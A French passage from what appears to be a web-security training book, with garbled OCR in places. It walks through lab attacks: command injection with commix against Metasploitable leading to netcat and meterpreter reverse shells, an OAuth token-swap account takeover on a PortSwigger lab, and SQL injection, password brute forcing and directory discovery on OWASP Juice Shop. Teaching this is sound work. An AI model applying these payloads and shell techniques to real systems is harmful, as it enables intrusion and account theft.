nd injection technique.
;echo MWGRZQ$((12+16))$(echo MWGRZQ)MWGRZQ
[info] The hostname is metasploitable.
[info] The current user is ww-data and it is not privileged.
[info] The target operating system is Linux (Ubuntu 8.04) and the hardware platfo
rm is i686.
[ ] Fetching '/etc/passwd' to enumerate users entries.

[info] Identified 36 entries in '/etc/passwd’.
(1) 'root' is root user (uid=0). Home directory is in '/root'.
(2) 'daemon' is system user (uid=1). Home directory is in '/usr/sbin'.
(3) 'bin' is system user (uid=2). Home directory is in '/bin'.
(4) 'sys' is system user (uid=3). Home directory is in '/dev'.
(5) 'sync' is system user (uid=4). Home directory is in '/bin'.
(6) 'games' is system user (uid=5). Home directory is in '/usr/games'.
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Commix nous propose I’obtention d’un shell :

[ 1 Fetching '/etc/shadow' to enumerate users password hashes.

255:

[warning] It seems that you don't have permissions to read '/etc/shadow' to enume
rate users password hashes.

Do you want a Pseudo-Terminal shell? [Y/n] > |}

Do you want a Pseudo-Terminal shell? [Y/n] > y

Pseudo-Terminal (type '?' for available options)
commix(os_shell) > hostname

metasploitable
commix(os_shell) > pwd

/var/ww/dvwa/vulnerabilities/exec

v

commix(os_shell) > |}

Nous pouvons méme obtenir un reverse shell (ici avec Netcat) :

commix(os_shell) > reverse_tcp
commix(reverse_tcp) > set LHOST 192.168.56.109
LHOST = 192.168.56.109

commix(reverse_tcp) > set LPORT 4567

LPORT = 4567

—I

]—

Type '1' to use a netcat reverse TCP shell.
Type '2' for other reverse TCP shells.

commix(reverse_tcp) > 1

|1|
Izl
|3|
'k'

to
to
to
to

use
use
use
use

P
the default Netcat on target host.
Netcat for Busybox on target host.
Netcat-Traditional on target host.
Netcat-Openbsd on target host.

commix(reverse_tcp_netcat) > 1
Do you want to use '/bin' standard subdirectory? [y/N] > y
[info] Everything is in place, cross your fingers and wait for reverse shell (on

port 4567

2
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Le reverse shell est récupéré via un listener Netcat :

rootakali:~# nc -lvp 4567

listening on [any] 4567 ...

192.168.56.108: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.109] from (UNKNOWN) [192.168.56.108] 35850

hostname

metasploitable

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Pour obtenir un shell complet TTY, on lance la commande Python suivante :

python -c 'import pty; pty.spawn("/bin/sh")’
sh-3.2$ pwd

pwd

/var/wwm/dvwa/vulnerabilities/exec

sh-3.2%
"

BINGO ! Réussite de notre exploitation.

Nous aurions pu, a la place du shell netcat, obtenir un shell meterpreter :

commix(os_shell) > reverse_tcp
commix(reverse_tcp) > set LHOST 192.168.56.109
LHOST = 192.168.56.109

commix(reverse_tcp) > set LPORT 4445

LPORT = 4445

) e
Type '1' to use a netcat reverse TCP shell.
Type '2' for other reverse TCP shells.

commix(reverse_tcp) > 2

e

R §) PHP reverse TCP shell.
12° Perl reverse TCP shell.
'3 Ruby reverse TCP shell.
‘4! Python reverse TCP shell.
'S Socat reverse TCP shell.
'6’ Bash reverse TCP shell.

b7 & Ncat reverse TCP shell.

j -
'8' to use a PHP meterpreter reverse TCP shell.
'9' to use a Python reverse TCP shell.
'10' to use a Python meterpreter reverse TCP shell.
'11' to use a Windows meterpreter reverse TCP shell.
'12' to use the web delivery script.

commix(reverse_tcp_other) > 8

[ ] Generating the 'php/meterpreter/reverse_tcp' payload.

[ 1 Type "msfconsole -r /home/kali/Desktop/commix/php_meterpreter.rc"
[ 1 Once the loading is done, press here any key to continue ... |]
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On recopie la commande spécifiée sur la capture d’écran précédente dans une nouvelle

console (on lui rajoute loption -q pour quiet) et on obtient bien une session

meterpreter :

rootakali:~# msfconsole -r /home/kali/Desktop/commix/php_meterpreter.rc -q

Processing /home/kali/Desktop/commix/php_meterpreter.
.rc)>
.rc)>

resource (/home/kali/Desktop/commix/php_meterpreter
resource (/home/kali/Desktop/commix/php_meterpreter
payload = php/meterpreter/reverse_tcp

resource (/home/kali/Desktop/commix/php_meterpreter
lhost = 192.168.56.109

resource (/home/kali/Desktop/commix/php_meterpreter
lport = 4445

resource (/home/kali/Desktop/commix/php_meterpreter.

.rc)>

.rc)>

rc)>

Started reverse TCP handler on 192.168.56.109:4445

Sending stage (38288 bytes) to 192.168.56.108

Meterpreter session 1 opened (192.168.56.109:4445 —

-0500

meterpreter > ||

meterpreter > sysinfo
Computer : metasploitable

rc for ERB directives.

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp
set lhost 192.168.56.109

set lport 4445

exploit

192.168.56.108:48153) at 2021-03-12 12:02:00

0s : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

Meterpreter : php/linux
meterpreter > ||
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Attaque élémentaire du protocole OAUTH 2

Le protocole OAUTH est présent sur de nombreux sites web et permet de vous y
authentifier avec le mot de passe d’un autre site web (ce site fournisseur est
généralement un réseau social). C’est assez pratique puisqu’il n’est plus nécessaire de
créer un nouveau compte sur chaque site visité, seul le mot de passe du site fournisseur

(Google, Facebook, Twitter, Apple, Microsoft, ...) est nécessaire.

Exemple d’authentification OAUTH sur le site Cybrary :

Join over 3 million cybersecurity professionals
advancing their career

SIGN UP WITH

Required fields are marked with an * - N
Le site Cybrary permet de
s’authentifier avec un mot de passe
classique ou grace a OAUTH avec

le mot de passe de Google (ou
Apple, 0 encore Microsolfy

OR

Email *

G Sign up with Google E
‘ Sign up with Apple

=. Sign up with Microsoft

View all SSO options

Already have an account? Sign In »

G Se connecter avec Google

¢ N — )
Si vous choisissez de vous

identifier avec OAUTH, une page
de login (ici de Google) s’affiche et

Sélectionner un compte

pour accéder a l'application Cybrary

@ _ Déconnecté GOOg|e, apréS Ie |Og|n,
communiquera a Cybrary certaines

Déconnecté . . o
S _ informations comme votre profil et

votre adresse de messagerie. Vous
serez alors connecté a Cybrary.

® Utiliser un autre compte

Pour continuer, Google partagera votre nom, votre adresse
e-mail, vos préférences linguistiques et votre photo de
profil avec Cybrary. Avant d'utiliser I'appli Cybrary, vous
pouvez consulter ses Régles de confidentialité et ses
Conditions d'utilisation.
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Nous allons maintenant montrer comment il est possible d’exploiter une faille simple

dans le protocole OAUTH 2. Pour cela, affichons la page :

https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow

Il faut préalablement créer un compte (gratuit) sur PortSwigger.

Les données sont les suivantes :

= Nous connaissons le hom d’utilisateur d’un internaute (wiener) et son mot de

passe sur le site fournisseur (peter).
= Nous connaissons l'adresse email d’un autre utilisateur (carlos@carlos-

montoya.net) mais pas son mot de passe.

Nous allons nous connecter en tant que wiener, nous allons observer le comportement
de I'application puis nous allons tenter de nous connecter en tant que carlos sans

connaitre son mot de passe en utilisant une vulnérabilité dans le protocole OAUTH 2

mis en place.

Lab: Authentication bypass via OAuth implicit

YOS H
PAR ] Not solved
This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the client

application makes it possible for an attacker to log in to other users' accounts without knowing their password.
To solve the lab, log in to Carlos's account. His email address is carlos@carlos-montoya.net .

You can log in with your own social media account using the following credentials: wiener:peter .

Access the lab

Cliquons sur Access the lab
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‘ Home | My account

WE LIKE TO -

BLOG —

| Wanted A Bike

When it comes the holidays more and more people are finding it hard to make ends meet. They

Cliquons sur My account et connectons-nous en tant que wiener :

wiener

Authorize
Sign-in .
BLOG —

» © WeLikeToBlog is requesting access to:
o Profile
© Email

260

Réussite de la connexion (c’est normal puisque nous connaissions le mot de passe) :

My Account

Your username is: wiener

Your email is: wiener@hotdog.com

Home | My account | Log out

Nous avons maintenant acces
/ I’adresse de messagerie de wiener.

a

OO
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Voici le trafic intercepté par le proxy intercepteur Burp lors de notre authentification :

Burp Project Intruder Repeater Window Help Burp Suite Cor

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project op

Intercept HTTP history WebSockets history Options

Filter: Hiding CSS, image and general binary content

# Host Method URL Params Edited Status Length  MIME type
358 https://0a4a00c204f881e0c2288... GET /my-account 302 85
360 https://0a4a00c204f881e0c2288... GET /social-login 200 2868 HTML
361 https://0a4a00c204f881e0c2288... GET JacademyLabHeader 101 147
- |362 https://oauth-0a0a0010049581a... GET Jauth?client_id=bdaeupmsw8ud4sascy... v 302 1128 HTML I
363 https://0a4a00c204f881e0c2288... GET Joauth-callback 200 833 HTML
364 https://oauth-0a0a0010049581a... GET /me 200 465 JSON
- |365 https://0a4a00c204f881e0c2288... POST /authenticate v 302 160 |
366 https://0a4a00c204f881e0c2288... GET / 200 8279 HTML
367 https://0a4a00c204f881e0c2288... GET ’é 200 8279 HTML
368 https://0a4a00c204f881e0c2288... GET /academyLabHeader 101 147
369 https://0a4a00c204f881e0c2288... GET /my-account?id=wiener v 200 2702 HTML
370 https://0a4a00c204f881e0c2288... GET /academyLabHeader 101 147

Trois remarques importantes pour que tout fonctionne normalement :

=>» |l faut indiquer au navigateur qu'il doit utiliser un proxy (127.0.0.1:8080)

=> |l faut installer le certificat de Burp pour accéder a ce site HTTPS (via http://burp)
=> |l faut parfois désactiver sur votre antivirus I'analyse d’'HTTPS (accés web)

\ 4

La premiére requéte intéressante est la requéte GET n°362 :

R

equest
Raw Hex \n

GET /aut.h?client:_id=bdaeupmstu‘lQsascypSasredirect_uri=
https://0a4al00c204£fB81e0c22B8B84db00510066.web-security-academy.net/oauth-callbacks
response_type=token&nonce=1436679672&scope=openids20profile%20email HTTP/1.1

ost: oauth-0Oalal .web-sSecurity-academy.net

Cookie: _session=MQJ7GVyuRSaTHAOWlcLJS; _session.legacy=MQJ7GVyuRSaTHAOWlcLJS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:108.0) Gecko/20100101
Firefox/108.0

, Accept:

text/html, application/xhtml+xml, application/xml;¢=0.9, image/avif, image/webp, */*;q=0.8

- Accept-Language: fr,fr-FR;q=0.8,en-U5;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate
Upgrade-Insecure-Recquests: 1

o Sec-Fetch-Dest: document
J Sec-Fetch-Mode: navigate

Sec-Fetch-5ite: same-site
Dnt: 1

5 Sec-Gpec: 1

Te: trailers
Connection: close

Cette requéte semble :

= envoyer un identifiant de client (client_id)

= demander en retour un token (response_type=token)

GloLe
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La réponse a cette requéte n°362 contient effectivement le token d’accés

(access_token) :

Response

Pretty Raw Hex Render \n =

1 HTTP/1l.1l 302 Found

2 X-Powered-By: Express

Pragma: no-cache

Cache-Control: no-cache, no-store

5 Location:
https://Da4a000304f88le0c2:884db005LDDEE.web—security—academy.nec/oauth—callback#access_token=ZtMKngBquU
YiSwrtBF2417bPhBjuPZchsGzVW-0xDéexpires_in=3600&token_type=Bearer&scope=openidsZ0profilesZ0email

¢ Content-Type: text/html; charset=utf-8

Set-Cookie: _session=MQJ7GVyuRSaTHAOW1lcLJS; path=/; expires=Sat, 31 Dec 2022 19:06:1l1 GMT; samesite=none;

secure; httponly

£ Set-Cookie: _session.legacy=NQJ7GVyuRS5aTHAOWlcLJS; path=/; expires=Sat, 31 Dec 2022 19:0&:11 GMT; secure;

httponly

% Date: Sat, 17 Dec 2022 19:06:11 GMT

10 Connection: close

11 Content-Length: 459

oW

13 Redirecting to <a href="
htcps://0a4a00c204f881e0c22884db00510066.Heb-securicy-academy.net/oauth-callback#access_:oken=ZtHKngSuQvU
YiSwrtBF24I7bPhBjuPZcbsGzVW-0xD&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profilesZ0ema
il">
https://0a%fallcT e0cZz 5] SWeb-SeCUrlty-academy.net/oauth-callbackfaccess_COKen— vonou
yUYiSwrtBF2Z4I7bPhBjuPZchsGzVW-0xD&amp; expires_in=3€600&amp; token type=Bearer&amp;scope=openidiZ0profilesl
Oemail

</a>

La deuxiéme requéte intéressante est la requéte GET n°365 :

Request
Pretty Raw Hex ] \n =

POST /authenticate HTTP/L1l.1

Host: 0a4a00cZ04f881e0c22884db005100€E.webh-security—-academy.net

Cookie: session=cSsakEKHB8Jyd7TBUueatjiEfg74YuesXs

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:108.0) Gecko/Z0100L101
Firefox/108.0

5 Accept: application/json

Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

8 Referer:

https://0a4a00c204£881e0c22884db00510066.web-security-academy.net/oauth-callback

Content-Type: application/json

10 Content-Length: 103

11 Origin: https://0a4a00c204£f881e0c22884db005S100E6. web-security-academy.net

12 Sec-Fetch-Dest: empty

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Site: same-origin

15 Dnt: 1

16 Sec-Gpe: 1

17 |Te: trailers

1% Connection: close

"email":"wienerfhotdog.com",
"username":"wiener",

"token":"ZtMKygMOu4yUYiSwrtBFZ4I7bPhBjuPZchsGzVW-0xD"

W)

)y 0

Cette requéte contient notre email et notre nom d’utilisateur (wiener) et le token d’acces

récupéré précédemment.
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La réponse a cette requéte n°365 contient finalement le cookie de session de
I'utilisateur wiener. Ce cookie prouve la réussite de notre authentification via le
protocole OAUTH.

Raw Hex B \n =
1 HTTP/1.1 302 Found

Response

2 Location:
- | 3 Set-Cookie: session=ZQYPwinhPqrPTB8zedFMmx3ESvEsC4D72; Secure; HttpOnly; SameSite=None |
Connection: close
Content-Length: O

] on ot

Nous allons maintenant vérifier si une vulnérabilité ne se trouve pas dans notre
application web. Nous allons pour cela envoyer la requéte n°365 dans le repeater de
Burp puis nous allons simplement changer I'adresse email associée au token. Si
I’application est mal congue, nous allons pouvoir nous connecter en tant que carlos

(carlos@carlos-montoya.net) avec ce méme token.

Remplagons I'adresse email :

Burp Project Intruder Repeater Window Help Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Dashboard Target Proxy Intruder Repeater Sequencer
T+ ir
Request Request
Pretty Raw Hex g 0 = Pretty Raw Hex B n =
1 IROSTR Ut hent CaAt R TR/ TET 1 POST /authenticate HTTP/1.1
2 Host: 2 Host:
0a4a00c204£881e0c22884db00510066. veb-security-academy.n Da4a00c204£881=0c22884db005 10066 . web-secur ity-academy.n
et N
et

3 Cookie: session=cSsakEKH8Jyd7TBUusatjiEfqg74YueXs

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4;

rv:108.0) Gecko/20100101 Firefox/108.0

Accept: application/json

Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate =

2 Referer:
https://0a4a00c204£881e0c22884db00510066. web-security-a
cademy.net/oauth-callback

S Content-Type: application/json

3 Cookie: session=cSsakEKH8Jyd7TBUusatjiEfg74YueXs

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé&4;

rv:108.0) Gecko/20100101 Firefox/108.0

Accept: application/json

Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

& Referer:
https://0a4a00c204£881=0c22884db005100€€ . web-security-a
cademy.net/oauth-callback

s

10 Content-Length: 103 9 Content-Type: application/json

11 Origin: 10 Content-Length: 103
https://Da4ad0c204£881=0c22884db0051006E. web-security-a L1 Origin:
cademy.net https://0a4a00c204£881e0c22884db0051006E. wveb-security-a

12 Sec-Fetch-Dest: empty i cademy.net

13 Sec-Fetch-Mode: cors 12 Sec-Fetch-Dest: empty

i Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors

Dnt: 1 14 Sec-Fetch-Site: same-origin

16 Sec-Gpec: 1 15 Dnt: L

17 Te: trailers Le Sec-Gpc: L

12 Connection: close 17 Te: trailers
19 L2 Connection: close

"email”:"wienerfhotdog.com"”, 0
"username":"wiener", "email”:"carlos@carlos-montoya.net"”,
"token":"ZtMKygMSudyUYiSwrtBFZ417bPhBjuPZchsGzVW-0xD" "username":"w er",

} "token":"ZtMKygMOudyUYiSwrtBF2417bPhBjuPZchsGzVW-0xD"
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"email”:"wienerfhotdog.com",
"username'":"wiener"”,

"token":"ZtMKygMOSu4yUYiSwrtBF24I17bPhBjuPZchsGzVW-0xD"

"username'":"wiener",

"email”":"carlosfcarlos-montoya.net",

"token":"ZtMKygMOSu4yUYiSwrtBFZ24I7bPhBjuPZcbhbsGzVW-0xD"

264

Nous obtenons une réponse positive du serveur (code 302), ce qui est un bon signe :

Response

Raw Hex

1 HTTP/Ll.l 302 Found
2 Location: /

4 Connection: close
5 Content-Length: O

5 Set-Cookie: session=nlwlNcWYxpSZyidiU7Lxid4aHyOpbqgT4dZ;
Secure; HttpOnly; SameSite=None

Il ne reste plus qu’a se déconnecter du site et a envoyer la requéte dans le navigateur

(clic droit sur la requéte dans le repeater / Request in browser / In original session) :

Send to Intruder Ctrl+
Send to Repeater Ctrl+R
Send to Sequencer

Send to Comparer

Send to Decoder

Show response in browser

Request in browser >
Engagement tools [Pro version only] >
Change request method

Change body encoding

Copy Ctrl+C
Copy URL

Copy as curl command

In original session

In current browser session

|@®@@|
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Nous obtenons un lien a coller dans la barre d’adresse du navigateur :

265:

Repeat request in browser

is configured to use Burp as its proxy.

X

To repeat this request in your browser, copy the URL below and paste into a browser that

http://burpsuite/repeat/2/vdjgnz52mxtob2i96nu679Iphaquexqi

[ Copy |

("] In future, just copy the URL and don't show this dialog

Close |

La requéte donne bien le résultat attendu :

Congratulations, you solved the lab!

WE LIKE TO -

BLOG —

¥ Share your skills!

Home | My account

Alors que nous étions déconnecté du site, nous sommes maintenant reconnecté en tant

que carlos, sans avoir di fournir aucun mot de passe :

My Account

Your username is: carlos

Your email is: carlos@carlos-montoya.net

Home | My account | Log out
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Danger des themes WordPress gratuits

Il existe de nombreux thémes gratuits pour WordPress sur le Net. J'en ai choisi un ci-

dessous sur un site douteux :

&« C & httpsy// f?s=typology+v13 E %« @ a 6
GG MY BMG Q@ Mail J]VT [U]STRA «at ENT @@ CVEC [} HD [3 CL «§ Downloader

Friday, March 26, 2019 Sign in/ Join

HOME 'WORDPRESS THEMES v BY VENDOR v PLUGINS v

DownloadFreeThemes

typology v1.3 - search results —

typology v1.3
Re(enl Posts

1f you're not happy with the results, please do another search
Typology v1.5.4  Text Based Minimal WordPress

Blog Theme
Download free Typology v1.3 — Text Based Minimal
WordPress Blog Theme

IR cownloadirecthemes.co - a Merchandiser v1.8.7 - Premium WooCommerce
. " Theme

Uplands v1.3.1 - Golf Course WordPress Theme

Typology v1

Admin Columns Pro v4.5.6 — A Premium
WordPress Plugin + Addons

Download free Typology v1.4 — Text Based Minimal Sty Forma y24,0.15' /A Warress Forus
Plugin + Addons Pack

WordPress Blog Theme

XN cownioadtrecthemes.co

Typology v1.4 is a text based Responsive WordPr

just want to write of looking for the Re(em Comments

design ba.
Daneil on WooCommerce Dynamic Pricing &
Discounts v2.0

Voici ce que donne le scan de ce théme avec VirusTotal :

Z Search or scan a URL, IP address, domain, or file hash Q E_] EEE Signin
10 engines detected this file °
SHA-256 79d629ae9893eb7b8c1535b5a7704ec2ed2ae1522f5c5473ee37a809d289e2e2
ZI P File name 60907_typology13.zip
File size 1.62 MB
Lastanalysis  2019-03-29 20:56:24 UTC
Detection Details Relations x Community
Arcabit A Trojan.WordPress.BackdoorA BitDefender A Trojan.WordPress.Backdoor.A
Bkav A CcPrWebshell DrWeb A PHPBackpoor77
Emsisoft A Trojan.WordPress.Backdoor.A (B) eScan A Trojan.WordPress.Backdoor.A
FireEye A Trojan.WordPress.Backdoor.A GData A Trojan.WordPress.Backdoor.A (2x)
Ikarus A\ TroianWordPressBackdoor MAX A maware (ai score=85)
Ad-Aware & Clean AegisLab @ Clean
AhnLab-v3 @ Clean Alibaba @ Clean
ALYac @ Clean Antiy-AVL @ Clean
Avast @ cClean Avast Mobile Security @& Clean
AVG @ Clean Avira @ clean

10 antivirus sur 59 détectent une backdoor dans ce théme gratuit.

Assez effrayant, en vérité !

@@@@ © m@x
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L’application web vulnérable OWASP Juice Shop

OWASP Juice Shop est une application web vulnérable proposée par OWASP, et qui

est trés utilisée dans les cours de sécurité web. Elle est sophistiquée et peu boguée !
Installation :

J’ai personnellement eu de gros problémes pour installer OWASP Juice Shop sur Kali

Linux et j’ai donc choisi de I'installer sur une machine virtuelle Windows 10.

e Pour commencer, il faut installer Node.js sur Windows via le site
https://nodejs.org/en/download/. J’ai choisi le Windows Installer (.msi) 64 bits. Il
s’agit, au moment ou j’écris ces lignes, de la version 10.15.3.

o |l faut ensuite télécharger la derniére version de OWASP Juice shop sur le site :
https://github.com/bkimminich/juice-shop/releases. Pour moi, il s’agit de la
version 8.4.1 pour Node 10 et pour Windows x64 (juice-shop-
8.4.1_node10_windows_x64.zip)

o On décompresse ensuite le fichier .zip.

e On serend avec la console dans le répertoire dézippé, et on tape : npm start.

¢ Voici ce qui s’affiche alors a I’écran :

npm - m| ¥
(c) 2017 Microsoft Corporation. All rights reserved.
:\Users\IEUser>cd Desktop

:\Users\IEUser\Desktop>cd juice-shop_8.4.1
:\Users\IEUser\Desktop\juice-shop_8.4.1>npm start

> juice-shop@8.4.1 start C:\Users\IEUser\Desktop\juice-shop 8.4.1
> node app

clize deprecated String based operators are now deprecated. Pleas
Symbol based operators for better security, read more at http:/
.sequelizejs.com/manual/tutorial/querying.html#operators

: Detected Node.js version v10.15.3 (0K)
: Configuration default validated (0K)

Cela signifie que le serveur est lancé a I’adresse 127.0.0.1:3000
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o Je vérifie I’adresse IP de ma machine virtuelle Windows avec ipconfig : il s’agit
de I'adresse 10.0.2.11.
e Connectons-nous a l'application vulnérable sur la machine virtuelle Windows

depuis une machine virtuelle Kali a ’aide du navigateur : http://10.0.2.11:3000

OWASP Juice Shop - Mozilla Firefox © e 0

L OWASPJuiceShop X | +

«) > C o ® 10.0.2.11:3000/3/ - O W N D
£ Most Visited @ Offensive Security @ Kali Linux @ Kali Docs @ Kali Tools @ Exploit-DB Wy Aircrack-ng @ Kali Forums @ NetHunter @ Kali Training @ Getting Started

. OWASP Juice Shop @) Llogin  fRQContactUs =rf == English ~ Search... Q @aAboutus () GitHub

All Products

I
Apple Juice (1000ml) The all-time classic.

Finest pressings of apples. Allergy disclaimer: Might contain traces 0.89

ﬁ Banana Juice (1000ml) Monkeys love it the most.

As the old German saying goes: "Carrots are good for the eyes.Or _ __
has anyone ever seen a rabbit with glasses?"

Carrot Juice (1000ml)

mage
Apple Pomace
E BR of worms. Can be sent back to us for recycling.

This website uses frult cookles to ensure you get

the Juiclest tracking experience. Butme walt
@ Eggfruit Juice (500ml) Now with even more exotic flavour.

Me want it!

l==l

CONNEXION REUSSIE !

Si on affiche le code HTML de cette page, on y découvre un fichier main.js. On

télécharge ce fichier, il va nous servir.

TRUC : Si Burp n’intercepte pas le trafic de Juice-Shop avec votre navigateur

habituel, il suffit d’utiliser le browser de Burp pour régler le probléme.
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Trouver la page du SCORE BOARD (tableau des scores) :

Dans le fichier main.js, on découvre un code JavaScript dans lequel se trouve :
{path:"recycle",component:Ee},{path:"register",component:ze},{path:"search",compo
nent:pt},{path:"score-board",component:Ut},{path:"track-
order",component:tu},{path:"track-result",component:su}

On y voit I’adresse du tableau des scores : score-board, soit http://<IP>:3000/score-
board

Tapons cette adresse dans le navigateur :

i OWASP Juice Shop #) Se connecterfy Contactez-nou | Francais v apple QW Tableau des scoref) A propos de nouf)
g T e

Tableau des scores

o 7
Difficulte
1/7 0/18 0/16 0/10
1 2 3 4 5 6 Y Montrer résolu
Broken Access Control Broken Authentication Forgotten Content Improper Input Validation Injection Insecure Deserialization Race Condition

Roll your own Security Security Misconfiguration Security through Obscurity Sensitive Data Exposure Vulnerable Components XSS XXE

Confidential Document Access a confidential document. B non résolu
Error Handling Provoke an error that is not very gracefully handled. B non résolu
Redirects Tier 1 Let us redirect you to a donation site that went out of business. B non résolu
Score Board Find the carefully hidden 'Score Board' page. résolu

XSS Tier 0 Perform a reflected XSS attack with <iframe src="javascript:alert( xss")">. B non résolu
XSS Tier 1 Perform a DOM XSS attack with <iframe src="javascript:alert( 'xss’)">. B non résolu

Zero Stars Give a devastating zero-star feedback to the store. B non résolu

ON A RESOLU LE PREMIER CHALLENGE !
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Se connecter en administrateur :

270

Retournons a la page d’accueil du site vulnérable et affichons la page de login. Tentons

une injection SQL en tapant dans le champ email : max’ OR 1=1 -- - (on tape n’importe

quoi dans le champ Mot de passe) :

E-mail
max' OR 1=1 ---

P Connexion

[[] se souvenir de moi

Tableau des scores :

Admin Section
Basket Access Tier 1
Deprecated Interface
Five-Star Feedback
Login Admin

Login MC SafeSearch
Password Strength
Security Policy

Weird Crypto

XSS Tier 1.5

OO

Description

Access the administration section of the store.

View another user's shopping basket.

Use a deprecated B2B interface that was not properly shut down.

Get rid of all 5-star customer feedback.

Log in with the administrator's user account.

Log in with MC SafeSearch's original user credentials without applying SQL Injection
or any other bypass.

Log in with the administrator's user credentials without previously changing them or
applying SQL Injection.

Behave like any "white-hat" should.

= shop about an algorithm or library it should definitely not use the way it

does.

Perform an XSS attack with <script>alert( xss")</script>on a legacy page within
the application.

BINGO : on est connecté en administrateur !

B non résolu

B non résolu

B non résolu

B non résolu

résolu

B non résolu

B non résolu

B non résolu

B non résolu

B non résolu
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Mettons maintenant un article dans le panier de I’administrateur et affichons le
contenu de ce panier :

Votre panier (admin@juice-sh.op)

Produit Prix Quantité Prix total

Apple Juice 1.99

} +
(1000ml) e g

B Commander

L— On découvre I’email de 'administrateur : admin@)juice-sh.op
Déconnectons-nous et tentons une reconnexion avec cet email et un mot de passe

quelconque (ici : pass). Interceptons cette requéte avec Burp Suite :

@ Request to http://10.0.2.11:3000

| Forward | | Drop | " Interceptis on | | Action J

J Raw T Params T Headers T Hex ]
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POST

{"email":"admin@juice-sh.op", "password”":"pass"}

Envoyons cette requéte a I'Intruder de Burp.

2989

/rest/user/login HTTP/1.1
Host: 10.0.2.11:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox
Accept: application/) text/plain, */*
Accepl-Language: fr-BE,en-US;g=0.7,en;g=0
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.11:3000/
Content-Type: application/json
Content-Length: 47
Cookie io=8m cMGAAR3; language=fr_FR; continueCode=YjWMVeP3lkgja
Connection: c
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Sélectionnons uniquement le champ password en I’entourant de deux "$" :

@ Payload Positions

Configure the positions where payloads will be inserted into the | Start attack

Attack type: | Sniper

POST /r

/user/login HTTP/1.1
Host 0.0.2.

: 11:3000 Add §
Uger-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0)
Accept: application/json, text/plain, */* Clear §
Accept-Language: fr-BE,en-US;g=0.7,en;g=0.3
Auto §
Refresh

,4
0

S

>t

b

[«

Accept-Encoding: gzip, deflate
Referer: http://10.0.2.11:3000/
Content-Type: application/json
Content-Length: 47

Cookie: io=8mkAeQWNmHEMzmsMGAARI; language=fr_F

v

Connection: clo

v
1

[("email":"admin@juice-sh.op", "password":"§pass§"}

Choisissons de charger un dictionnaire comme PAYLOAD (par exemple

lusr/share/wordlists/dirb/big.txt, ou un autre dictionnaire) :

L‘)J Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste ! A

! archives
Load ... ! images
thackup

(Remove | | fmages <
Ires
Clear ltextove_diskuse
lut

.bash_history

Add Enter 3 new item

Add from list ... [Pro version only]

Lancons I'attaque.
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Lorsque I'attaque est terminée, classons les résultats par leur longueur (Length) :

(

Attack Save Columns

Intruder attack 2

© e o]

¥ Target T Positions T Payloads T Options ]

| Filter: Showing all items

@

Request | Payload

| status |Error | Timeout |Length | Comment |

adminl23

123456
aaaaa

abcde

admin
administrator
pass
password
pasword123

VoSNV AsEWNFOO

200
401
401
401
401
401
401
401
401
401

| conooooooo
[a]a]s]s]s]a]s]a]s]s]

1022
330
330
330
330
330
330
330
330
330

Finishe |
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— Le résultat qui sort du lot ( = de longueur différente) est le mot de passe "admin123".

Nous pouvons maintenant nous connecter avec I’email admin@)juice-sh.op et le mot

de passe admin123.

Le challenge est a nouveau réussi, nous avons trouvé le vrai mot de passe de

IPadministrateur :

Admin Section
Basket Access Tier 1
Deprecated Interface
Five-Star Feedback
Login Admin

Login MC SafeSearch
Password Strength
Security Policy

Weird Crypto

XSS Tier 1.5

Access the administration section of the store.

View another user's shopping basket.

E non résolu

B non résolu

Use a deprecated B2B interface that was not properly shut down. B non résolu

Get rid of all 5-star customer feedback.

Log in with the administrator's user account.

Log in with MC SafeSearch's original user credentials without applying SQL Injection or

any other bypass.

Log in with the administrator's user credentials without previously changing them or

applying SQL Injection.

Behave like any "white-hat" should.

form the shop about an algorithm or library it should definitely not use the way it

does.

Perform an XSS attack with <script>alert(’xss")</script>on a legacy page within
the application.

B non résolu

résolu

B non résolu

résolu

B non résolu

B non résolu

B non résolu

Je vous laisse résoudre les autres challenges de cette application vulnérable !

OO
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2/4:

Les injections de type octet nul (Null Byte Injection)

Reprenons notre application vulnérable Juice Shop du chapitre précédent et tentons
d’y découvrir les répertoires cachés grace a DirBuster (on utilise un dictionnaire

adéquat) :

OWASP DirBuster 0.12 - Web Application Brute Forcing e ® 0‘

File Options About Help

Target URL (eg http://fexample.com:80/)

|http:/410.0.2.11:3000 ]
Work Method (O Use GET requests only (3 Auto Switch (HEAD and GET)

Number Of Threads 1:(:' y 10 Threads [ | Go Faster

Select scanning type: (@ List based brute force (O Pure Brute Force

File with list of dirs/files

[root/Desktop/my_dict | [Q BrowseJ [ © List InfoJ

Char set [3-2A-Z0-9%20-_ ~] Min length Max Length

Select starting options: (® Standard start point (O URL Fuzz
[v] Brute Force Dirs Be Recursive Dir to start with |/ |

[] Brute Force Files [J Use Blank Extention File extention [php |

URL to fuzz - ftest.html?url={dir}.asp
[10.0.2.11:3000 |

Please complete the test details

Un des répertoires trouvés est /ftp/, affichons sont contenu dans le navigateur :

~Iftpl
